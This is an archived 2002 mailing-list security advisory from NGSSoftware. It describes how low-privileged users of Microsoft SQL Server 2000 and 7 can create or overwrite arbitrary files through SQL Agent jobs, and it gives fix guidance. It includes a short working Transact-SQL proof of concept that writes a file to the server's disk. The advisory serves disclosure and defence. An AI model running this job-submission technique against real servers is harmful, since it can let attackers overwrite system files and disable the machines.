

[VulnWatch] Arbitrary File Creation/Overwrite with SQL Agent Jobs (SQL 2000 and 7) (#NISR19002002A)

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2002-08/0033.html>

From: NGSSoftware Insight Security Research (nisr@nextgenss.com)

Date: 08/19/02

From: "NGSSoftware Insight Security Research" <nisr@nextgenss.com>

To: <bugtraq@securityfocus.com>, <ntbugtraq@listserv.ntbugtraq.com>, <vulnwatch@vulnwatch.org>

Date: Mon, 19 Aug 2002 15:46:50 +0100

NGSSoftware Insight Security Research Advisory

Name: Arbitrary File Creation/Overwrite with SQL Agent Jobs

Systems: Microsoft SQL Server 2000 and 7

Severity: High Risk

Category: Arbitrary File Creation/Overwrite

Vendor URL: <http://www.microsoft.com/>

Author: David Litchfield (david@ngssoftware.com)

Advisory URL: <http://www.ngssoftware.com/advisories/mssql-espjobs2.txt>

Date: 19th August 2002

Advisory number: #NISR19002002A

Description

With Microsoft SQL Server 2000 and 7 comes a "helper" service, the SQL Server agent. The Agent is responsible for restarting the database service if it stops for some reason, has a role to play in replication and runs scheduled jobs. As the public role can submit jobs to the SQL Agent, by default, a low privileged user can create or overwrite arbitrary files on the SQL Server.

Details

When adding a job one can specify the name of a file to output the results of the Transact-SQL or CmdExec Job to. If this already exists it can be overwritten and if it doesn't exist already a new file will be created. By crafting the query of the job one can place arbitrary contents in this file.

If the SQL Server Agent is running with Local SYSTEM privileges an attacker will be able to overwrite key operating system files rendering the server unbootable.

Proof of Concept

-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice

--
-- David Litchfield
-- (david@ngsssoftware.com)
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate', @enabled = 1, @description = 'This will create a file called c:\sqlafc123.txt', @delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate', @step_name = 'SQLAFC', @subsystem = 'TSQL', @command = 'select "hello, this file was created by the SQL Agent."', @output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate', @server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

Fix Information ***** NGSSoftware informed Microsoft of these issues in July. To prevent low privileged users from submitting jobs one should disallow public access to the Job related stored procedures in the MSDB database particularly

sp_add_job sp_add_jobstep sp_add_jobserver sp_start_job

Further to this ensure that the SQL Server Agent is running as a low privileged NT account.

-
- **Previous message:** [Ulf Harnhammar: "\[VulnWatch\] Lynx CRLF Injection"](#)
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)